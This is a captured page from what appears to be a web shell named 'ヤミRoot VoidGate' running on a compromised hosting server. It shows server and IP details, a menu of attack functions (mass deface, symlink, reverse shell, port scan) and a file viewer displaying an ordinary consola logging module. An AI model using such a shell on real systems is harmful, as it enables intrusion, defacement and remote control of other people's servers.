ヤミRoot VoidGate
User / IP
:
216.73.216.81
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
node_modules
/
consola
/
src
/
reporters
/
Viewing: basic.js
import util from 'util' import { parseStack } from '../utils/error' import { writeStream } from '../utils/stream' import { formatDate } from '../utils/date' const DEFAULTS = { dateFormat: 'HH:mm:ss', formatOptions: { date: true, colors: false, compact: true } } const bracket = x => x ? `[${x}]` : '' export default class BasicReporter { constructor (options) { this.options = Object.assign({}, DEFAULTS, options) } formatStack (stack) { return ' ' + parseStack(stack).join('\n ') } formatArgs (args) { const _args = args.map(arg => { if (arg && typeof arg.stack === 'string') { return arg.message + '\n' + this.formatStack(arg.stack) } return arg }) // Only supported with Node >= 10 // https://nodejs.org/api/util.html#util_util_inspect_object_options if (typeof util.formatWithOptions === 'function') { return util.formatWithOptions(this.options.formatOptions, ..._args) } else { return util.format(..._args) } } formatDate (date) { return this.options.formatOptions.date ? formatDate(this.options.dateFormat, date) : '' } filterAndJoin (arr) { return arr.filter(x => x).join(' ') } formatLogObj (logObj) { const message = this.formatArgs(logObj.args) return this.filterAndJoin([ bracket(logObj.type), bracket(logObj.tag), message ]) } log (logObj, { async, stdout, stderr } = {}) { const line = this.formatLogObj(logObj, { width: stdout.columns || 0 }) return writeStream( line + '\n', logObj.level < 2 ? stderr : stdout, async ? 'async' : 'default' ) } }
Coded With 💗 by
0x6ick